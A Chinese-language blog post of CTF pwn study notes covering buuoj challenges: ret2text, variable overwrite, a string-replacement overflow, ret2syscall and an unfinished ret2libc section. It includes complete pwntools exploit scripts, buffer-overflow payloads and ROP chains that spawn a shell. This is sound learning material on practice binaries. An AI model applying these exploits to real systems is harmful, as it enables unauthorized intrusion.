PWN题记录


前言

研一上学期的课程终于结束,自由学习时间芜湖~

PWN上路!

题目

自带后门函数

  • Ret2Text
  • 变量覆盖

Rip

来源: buuoj.cn

总结

利用原理: 栈溢出

利用方式: 栈溢出跳转到代码段自带参数的systemcall

细节

溢出点:gets函数

直接目测栈帧

可以看到数组长度为15 跨过一个保存栈底的值大小为8字节(64位程序)

需要23个填充字节

于是EXP如下

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1) 

local=0
if local: 
    p=process('./pwn1') 
else: 
    p=remote('node4.buuoj.cn', 27688)

system_addr=0x40118A

payload = b'a'*23 + p64(system_addr)

#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

问题

从0x401186开始执行会遇到Broken pipe问题

而从0x40118A开始执行则正常成功

最后调试感觉是执行函数开头开栈操作时RBP的值不可靠引发的问题 但具体在哪里触发的问题还有待探究

总之今后需要注意

warmup_csaw_2016

题目来源:buuctf

总结

利用原理: 栈溢出

利用方式: 栈溢出跳转到代码段自带参数的systemcall

细节

IDA查找字符串 发现要跳转的函数在0x40060D

; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

利用函数依旧是get 并且分析栈帧需要0x48个填充字符

于是EXP如下

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1) 
context.os='linux'
context.arch='amd64'
context.log_level='debug'

local=0
if local: 
    p=process('./warmup_csaw_2016') 
else: 
    p=remote('node4.buuoj.cn', 27745)

system_addr=0x40060D

payload = b'a'*0x48 + p64(system_addr)

#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

ciscn_2019_n_1

总结

利用原理: 栈溢出

利用方式: 覆盖关键变量

细节

程序主逻辑如下

我们的目标就是通过溢出v1数组将变量v2覆盖为对应的浮点数

浮点数数据如下

dword_4007F4 dd 41348000h

栈帧如下

溢出v2只需要填充44个字符,然后跟随正确的值覆盖v2即可

所以EXP如下:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1) 
context.os='linux'
context.arch='amd64'
context.log_level='debug'

local=0
if local: 
    p=process('./ciscn_2019_n_1') 
else: 
    p=remote('node4.buuoj.cn', 25812)

system_addr=0x40060D

payload = b'a'*44 + p32(0x41348000)

#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

pwn1_sctf_2016

总结

利用原理:栈溢出

利用方法:利用字符串处理覆盖地址

细节

32位程序

利用地址在0x08048F0D或者0x08048F13

程序逻辑是通过fgets获取输入 最大32个字节 输入的字符串会进行处理

主函数栈帧输入的偏移为-0x3C 返回地址在+4

所以需要填充的长度为0x40 即64个字节

通常来说无法直接溢出覆盖 这时候看字符串的处理方式

将输入中所有的I替换为 you

所以利用方法:

输入中1个字节最大能凑3个字节 预留最后4个字节用于覆盖

则最大可以覆盖的范围为(32-4)*3 > 64所以可以成功

64 = 3 * 21 + 1

所以输入中有21个I加其他字符然后进行覆盖即可

所以EXP如下

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1) 
context.os='linux'
context.arch='amd64'
context.log_level='debug'

local=0
if local: 
    p=process('./pwn1_sctf_2016') 
else: 
    p=remote('node4.buuoj.cn', 29328)

system_addr=0x08048F13
# 64 = 3*21+1
payload = b'I'*21 + b'a' + p32(system_addr)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()

ROP

ret2syscall

题目来源:bamboofox 中的 ret2syscall

总结

题目内有/bin/sh字符串地址 而且没有system函数调用

于是考虑Ret2syscall攻击(原理是系统调用)

具体

通过gets溢出后

构造如下指令效果

;目标语句
;execve("/bin/sh",NULL,NULL);
;对应汇编
pop eax;eax=0xb b是execve对应的系统调用编号
pop ebx;ebx=arg_addr
pop ecx;ecx=0
pop edx;edx=0
int 0x80;系统调用

那么payload要如何构造出来呢

payload构造好以后栈里面就是[gadgets片段+要给寄存器赋的目标值] * n + 中断 的组合

  • 首先使用ROPgadget来寻找合适指令的地址

    例如寻找控制eax寄存器的片段ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

    得到运行结果是

    $ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
    0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x080bb196 : pop eax ; ret
    0x0807217a : pop eax ; ret 0x80e
    0x0804f704 : pop eax ; ret 3
    0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

    0x080bb196这个片段只控制eax寄存器 可以使用

    于是可以命名变量为gadget_eax表示它只控制eax寄存器(只要能标记即可 明明随意)

    这方便我们之后为栈空间布局

    接着寻找控制其他寄存器的指令

  • gadgets布局完成后 需要寻找中断指令的地址

    % ROPgadget --binary rop --only 'int'
    Gadgets information
    ============================================================
    0x08049421 : int 0x80
    
    Unique gadgets found: 1

找齐信息后则EXP如下:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1) 
context.os='linux'
context.arch='i386'
#context.arch='amd64'
context.log_level='debug'

local=1
if local: 
    p=process('./rop') 
else: 
    p=remote('node4.buuoj.cn', 29178)

binsh_addr=0x080BE408
syscall_num=0xb
gadget_eax=0x080bb196
gadget_edx_ecx_ebx=0x0806eb90
int_80=0x08049421

payload= flat([b'A'*112, gadget_eax, syscall_num, gadget_edx_ecx_ebx, 0, 0, binsh_addr, int_80])

p.sendline(payload)
p.interactive()

问题

  • 看栈帧和实际溢出位置不一致

    可能因为编译器某些参数导致实际运行时栈偏移更多一点

    具体需要多积累再继续研究

  • ROP链中参数都多了一个0

    context设置错误

    32位程序应当使用context.arch='i386'

    这样脚本会自动用p32进行打包

    64位程序则使用context.arch='amd64'

  • 如果ROPgadget找不到int 0x80指令怎么办

    则无法利用系统调用的方法解题

ret2libc

总结

和上述题目一样 但是这次没有int 80h的中断了

这次的方法是控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

这种方式的前提是:导入表内有我们想要的函数

细节

该题内没有80h中断的代码 但是导入表内有system函数 所以可以利用ret2libc的攻击

执行该操作我们需要:找到system函数地址,找到字符串地址,构造payload进行攻击

  • system函数地址

技巧总结

调试交互

  • 调试时需要输入payload通常含有一些不可打印字符 直接复制粘贴不好使

    则在发送payload之前先使用pause()

    在gdb下完断点后继续执行


Author: Luluting
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Luluting !
  TOC